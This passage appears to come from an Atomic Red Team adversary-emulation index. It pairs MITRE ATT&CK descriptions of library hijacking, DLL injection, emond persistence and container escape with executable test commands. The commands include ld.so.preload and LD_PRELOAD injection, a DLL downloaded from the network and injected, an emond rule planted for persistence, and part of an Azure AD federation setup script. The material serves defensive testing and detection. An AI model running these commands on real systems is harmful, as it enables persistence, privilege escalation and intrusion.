          $federationSettings = New-Object Microsoft.Open.AzureAD.Model.DomainFederationSettings
          $federationSettings.ActiveLogOnUri = "#{active_logon_uri}"
          $federationSettings.IssuerUri = "#{issuer_uri}"
          $federationSettings.LogOffUri = $federationSettings.ActiveLogOnUri
          $federationSettings.MetadataExchangeUri = "#{metadata_uri}"
          $federationSettings.PassiveLogOnUri = $federationSettings.ActiveLogOnUri
          $federationSettings.PreferredAuthenticationProtocol = "WsFed"
          $federationSettings.SigningCertificate = "#{public_key}"
          $new = New-AzureADExternalDomainFederation -ExternalDomainName "#{domain_name}" -FederationSettings $federationSettings
          if ($new) { Write-Host "`nFederation successfully added to Azure AD" } else { Write-Host "`nThe federation setup failed" }
          Get-AzureADExternalDomainFederation -ExternalDomainName "#{domain_name}"
          Write-Host "End of federation configuration."
        cleanup_command: |
          try {
          Import-Module AzureADPreview -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
          Connect-AzureAD -Credential $Credential -ErrorAction Ignore
          Remove-AzureADExternalFederationDomain -ExternalDomainName "#{domain_name}"
          } catch {}
        name: powershell
  T1574.004:
    technique:
      id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490
      description: |-
        Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

        Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
      name: Dylib Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.004
        url: https://attack.mitre.org/techniques/T1574/004
      - external_id: CAPEC-471
        source_name: capec
        url: https://capec.mitre.org/data/definitions/471.html
      - source_name: Wardle Dylib Hijack Vulnerable Apps
        url: https://objective-see.com/blog/blog_0x46.html
        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
          Apps. Retrieved March 31, 2021.
      - source_name: Wardle Dylib Hijacking OSX 2015
        url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
          March 29, 2021.
      - source_name: Github EmpireProject HijackScanner
        url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
      - source_name: Github EmpireProject CreateHijacker Dylib
        url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
          Hijacker. Retrieved April 1, 2021.
      - url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
          July 10, 2017.
        source_name: Writing Bad Malware for OSX
      - source_name: wardle artofmalware volume1
        url: https://taomm.org/vol1/pdfs.html
        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
          0x1: Analysis. Retrieved March 19, 2021.'
      - source_name: MalwareUnicorn macOS Dylib Injection MachO
        url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
          Retrieved March 29, 2021.
      - source_name: Apple Developer Doco Archive Run-Path
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
          March 31, 2021.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-27T20:19:15.212Z'
      created: '2020-03-16T15:23:30.896Z'
      x_mitre_platforms:
      - macOS
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or
        modifying dylibs. Changes in the set of dylibs that are loaded by a process
        (compared to past behavior) that do not correlate with known software, patches,
        etc., are suspicious. Check the system for multiple dylibs with the same name
        and monitor which versions have historically been loaded into a process. \n\nRun
        path dependent libraries can include <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>,
        and <code>LC_RPATH</code>. Other special keywords are recognized by the macOS
        loader are <code>@rpath</code>, <code>@loader_path</code>, and <code>@executable_path</code>.(Citation:
        Apple Developer Doco Archive Run-Path) These loader instructions can be examined
        for individual binaries or frameworks using the <code>otool -l</code> command.
        Objective-See's Dylib Hijacking Scanner can be used to identify applications
        vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation:
        Github EmpireProject HijackScanner)"
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_defense_bypassed:
      - Application control
    atomic_tests: []
  T1574.006:
    technique:
      id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825
      description: "Adversaries may execute their own malicious payloads by hijacking
        environment variables the dynamic linker uses to load shared libraries. During
        the execution preparation phase of a program, the dynamic linker loads specified
        absolute paths of shared libraries from environment variables and files, such
        as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code>
        on macOS. Libraries specified in environment variables are loaded first, taking
        precedence over system libraries with the same function name.(Citation: Man
        LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic
        Libraries) These variables are often used by developers to debug binaries
        without needing to recompile, deconflict mapped symbols, and implement custom
        functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn
        Linux and macOS, hijacking dynamic linker variables may grant access to the
        victim process's memory, system/network resources, and possibly elevated privileges.
        This method may also evade detection from security products since the execution
        is masked under a legitimate process. Adversaries can set environment variables
        via the command line using the <code>export</code> command, <code>setenv</code>
        function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic
        Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export
        variables in a shell or set variables programmatically using higher level
        syntax such Python’s <code>os.environ</code>.\n\nOn Linux, adversaries may
        set <code>LD_PRELOAD</code> to point to malicious libraries that match the
        name of legitimate libraries which are requested by a victim program, causing
        the operating system to load the adversary's malicious code upon execution
        of the victim program. <code>LD_PRELOAD</code> can be set via the environment
        variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation:
        TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are
        loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code>
        respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed
        Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)
        \n\nOn macOS this behavior is conceptually the same as on Linux, differing
        only in how the macOS dynamic libraries (dyld) is implemented at a lower level.
        Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable
        to point to malicious libraries containing names of legitimate libraries or
        functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation:
        Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina
        Bypass) "
      name: Dynamic Linker Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.006
        url: https://attack.mitre.org/techniques/T1574/006
      - external_id: CAPEC-13
        source_name: capec
        url: https://capec.mitre.org/data/definitions/13.html
      - external_id: CAPEC-640
        source_name: capec
        url: https://capec.mitre.org/data/definitions/640.html
      - source_name: Man LD.SO
        url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
          June 15, 2020.
      - source_name: TLDP Shared Libraries
        url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
          January 31, 2020.
      - source_name: Apple Doco Archive Dynamic Libraries
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
          March 24, 2021.
      - source_name: Baeldung LD_PRELOAD
        url: https://www.baeldung.com/linux/ld_preload-trick-what-is
        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
          March 24, 2021.
      - source_name: Code Injection on Linux and macOS
        url: https://www.datawire.io/code-injection-on-linux-and-macos/
        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
          December 20, 2017.'
      - url: http://hick.org/code/skape/papers/needle.txt
        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
          Retrieved December 20, 2017.
        source_name: Uninformed Needle
      - url: http://phrack.org/issues/51/8.html
        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
          Retrieved December 20, 2017.
        source_name: Phrack halfdead 1997
      - source_name: Brown Exploiting Linkers
        url: http://www.nth-dimension.org.uk/pub/BTL.pdf
        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
          linker. Retrieved March 29, 2021.'
      - source_name: TheEvilBit DYLD_INSERT_LIBRARIES
        url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
          in macOS / OSX. Retrieved March 26, 2020.
      - source_name: Timac DYLD_INSERT_LIBRARIES
        url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
          Retrieved March 26, 2020.
      - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
        url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
          Mach-O Apps. Part II.. Retrieved March 24, 2021.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-27T19:55:18.453Z'
      created: '2020-03-13T20:09:59.569Z'
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      identifier: T1574.006
    atomic_tests:
    - name: Shared Library Injection via /etc/ld.so.preload
      auto_generated_guid: 39cb0e67-dd0d-4b74-a74b-c072db7ae991
      description: "This test adds a shared library to the `ld.so.preload` list to
        execute and intercept API calls. This technique was used by threat actor Rocke
        during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon
        successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload.
        \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: Path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: Path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

'
        prereq_command: 'if [ -f #{path_to_shared_library ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

'
      executor:
        command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload''

'
        cleanup_command: 'sudo sed -i ''\~#{path_to_shared_library}~d'' /etc/ld.so.preload

'
        name: bash
        elevation_required: true
    - name: Shared Library Injection via LD_PRELOAD
      auto_generated_guid: bc219ff7-789f-4d51-9142-ecae3397deae
      description: |
        This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

        Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: Path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: Path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

'
        prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

'
      executor:
        command: 'LD_PRELOAD=#{path_to_shared_library} ls

'
        name: bash
  T1055.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.001
        url: https://attack.mitre.org/techniques/T1055/001
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.endgame.com/blog/technical-blog/hunting-memory
        description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December
          7, 2017.
        source_name: Elastic HuntingNMemory June 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Dynamic-link Library Injection
      description: "Adversaries may inject dynamic-link libraries (DLLs) into processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        DLL injection is a method of executing arbitrary code in the address space
        of a separate live process.  \n\nDLL injection is commonly performed by writing
        the path to a DLL in the virtual address space of the target process before
        loading the DLL by invoking a new thread. The write can be performed with
        native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>,
        then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code>
        API responsible for loading the DLL). (Citation: Elastic Process Injection
        July 2017) \n\nVariations of this method such as reflective DLL injection
        (writing a self-mapping DLL into a process) and memory module (map DLL when
        writing into process) overcome the address relocation issue as well as the
        additional APIs to invoke execution (since these methods load and execute
        the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation:
        Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July
        2017) \n\nRunning code in the context of another process may allow access
        to the process's memory, system/network resources, and possibly elevated privileges.
        Execution via DLL injection may also evade detection from security products
        since the execution is masked under a legitimate process. "
      id: attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T18:29:30.879Z'
      created: '2020-01-14T01:26:08.145Z'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code> and those that can be used to modify
        memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor
        DLL/PE file events, specifically creation of these binary files as well as
        the loading of DLLs into processes. Look for DLLs that are not recognized
        or not normally loaded into a process. \n\nAnalyze process behavior to determine
        if a process is performing actions it usually does not, such as opening network
        connections, reading files, or other suspicious actions that could relate
        to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1055.001
    atomic_tests:
    - name: Process Injection via mavinject.exe
      auto_generated_guid: 74496461-11a1-4982-b439-4d87a550d254
      description: |
        Windows 10 Utility To Inject DLLS.

        Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.
        With default arguments, expect to see a MessageBox, with notepad's icon in taskbar.
      supported_platforms:
      - windows
      input_arguments:
        process_id:
          description: PID of input_arguments
          type: Integer
          default: "(Start-Process notepad -PassThru).id"
        dll_payload:
          description: DLL to Inject
          type: Path
          default: PathToAtomicsFolder\T1055.001\src\x64\T1055.001.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'Utility to inject must exist on disk at specified location (#{dll_payload})

'
        prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll" -OutFile "#{dll_payload}"
      executor:
        command: |
          $mypid = #{process_id}
          mavinject $mypid /INJECTRUNNING #{dll_payload}
        name: powershell
        elevation_required: true
  T1548.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1548.004
        url: https://attack.mitre.org/techniques/T1548/004
      - source_name: AppleDocs AuthorizationExecuteWithPrivileges
        url: https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
        description: Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges.
          Retrieved August 8, 2019.
      - source_name: Death by 1000 installers; it's all broken!
        url: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
        description: Patrick Wardle. (2017). Death by 1000 installers; it's all broken!.
          Retrieved August 8, 2019.
      - source_name: Carbon Black Shlayer Feb 2019
        url: https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/
        description: Carbon Black Threat Analysis Unit. (2019, February 12). New macOS
          Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.
      - source_name: OSX Coldroot RAT
        url: https://objective-see.com/blog/blog_0x2A.html
        description: Patrick Wardle. (2018, February 17). Tearing Apart the Undetected
          (OSX)Coldroot RAT. Retrieved August 8, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Elevated Execution with Prompt
      description: "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code>
        API to escalate privileges by prompting the user for credentials.(Citation:
        AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to
        give application developers an easy way to perform operations with root privileges,
        such as for application installation or updating. This API does not validate
        that the program requesting root privileges comes from a reputable source
        or has been maliciously modified. \n\nAlthough this API is deprecated, it
        still fully functions in the latest releases of macOS. When calling this API,
        the user will be prompted to enter their credentials but no checks on the
        origin or integrity of the program are made. The program calling the API may
        also load world writable files which can be modified to perform malicious
        behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code>
        to obtain root privileges in order to install malicious software on victims
        and install persistence mechanisms.(Citation: Death by 1000 installers; it's
        all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot
        RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036)
        to trick the user into granting escalated privileges to malicious code.(Citation:
        Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer
        Feb 2019) This technique has also been shown to work by modifying legitimate
        programs present on the machine that make use of this API.(Citation: Death
        by 1000 installers; it's all broken!)"
      id: attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-27T12:04:37.823Z'
      created: '2020-01-30T14:40:20.187Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - root
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: Consider monitoring for <code>/usr/libexec/security_authtrampoline</code>
        executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code>
        is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code>
        is being called. Monitoring OS API callbacks for the execution can also be
        a way to detect this behavior but requires specialized security tooling.
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Jimmy Astle, @AstleJimmy, Carbon Black
      - Erika Noerenberg, @gutterchurl, Carbon Black
      x_mitre_platforms:
      - macOS
    atomic_tests: []
  T1546.014:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.014
        url: https://attack.mitre.org/techniques/T1546/014
      - source_name: xorrior emond Jan 2018
        url: https://www.xorrior.com/emond-persistence/
        description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For
          Persistence. Retrieved September 10, 2019.
      - source_name: magnusviri emond Apr 2016
        url: http://www.magnusviri.com/Mac/what-is-emond.html
        description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September
          10, 2019.
      - source_name: sentinelone macos persist Jun 2019
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
          Retrieved September 10, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Emond
      description: |-
        Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.

        The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

        Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.
      id: attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-24T21:37:25.307Z'
      created: '2020-01-24T15:15:13.426Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: Monitor emond rules creation by checking for files created
        or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_contributors:
      - Ivan Sinyakov
      x_mitre_platforms:
      - macOS
      identifier: T1546.014
    atomic_tests:
    - name: Persistance with Event Monitor - emond
      auto_generated_guid: 23c9c127-322b-4c75-95ca-eff464906114
      description: 'Establish persistence via a rule run by OSX''s emond (Event Monitor)
        daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124

'
      supported_platforms:
      - macos
      input_arguments:
        plist:
          description: Path to attacker emond plist file
          type: Path
          default: PathToAtomicsFolder/T1546.014/src/T1546.014_emond.plist
      executor:
        command: |
          sudo cp "#{plist}" /etc/emond.d/rules/T1546.014_emond.plist
          sudo touch /private/var/db/emondClients/T1546.014
        cleanup_command: |
          sudo rm /etc/emond.d/rules/T1546.014_emond.plist
          sudo rm /private/var/db/emondClients/T1546.014
        name: sh
        elevation_required: true
  T1611:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1611
        url: https://attack.mitre.org/techniques/T1611
      - source_name: Docker Overview
        url: https://docs.docker.com/get-started/overview/
        description: Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.
      - source_name: Docker Bind Mounts
        url: https://docs.docker.com/storage/bind-mounts/
        description: Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.
      - source_name: Trend Micro Privileged Container
        url: https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html
        description: Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged
          Container in Docker is a Bad Idea. Retrieved March 30, 2021.
      - source_name: Intezer Doki July 20
        url: https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/
        description: 'Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers:
          Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Escape to Host
      description: |-
        Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)

        There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.
      id: attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-22T16:14:59.756Z'
      created: '2021-03-30T17:38:34.277Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - Administrator
      - User
      - root
      x_mitre_detection: Monitor for the deployment of suspicious or unknown container
        images and pods in your environment, particularly containers running as root.
        Additionally, monitor for unexpected usage of syscalls such as <code>mount</code>
        (as well as resulting process activity) that may indicate an attempt to escape
        from a privileged container to host. In Kubernetes, monitor for cluster-level
        events associated with changing containers' volume configurations.
      x_mitre_contributors:
      - Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics
      - Alfredo Oliveira, Trend Micro
      - David Fiser, @anu4is, Trend Micro
      - Idan Frimark, Cisco
      - Magno Logan, @magnologan, Trend Micro
      - Ariel Shuper, Cisco
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      x_mitre_platforms:
      - Windows
      - Linux
      - Containers
      x_mitre_data_sources:
      - 'Container: Container Creation'
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      identifier: T1611
    atomic_tests:
    - name: Deploy container using nsenter container escape
      auto_generated_guid: 0b2f9520-a17a-4671-9dba-3bd034099fff
      description: |
        In this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.

        Additional Details:
        - https://twitter.com/mauilion/status/1129468485480751104
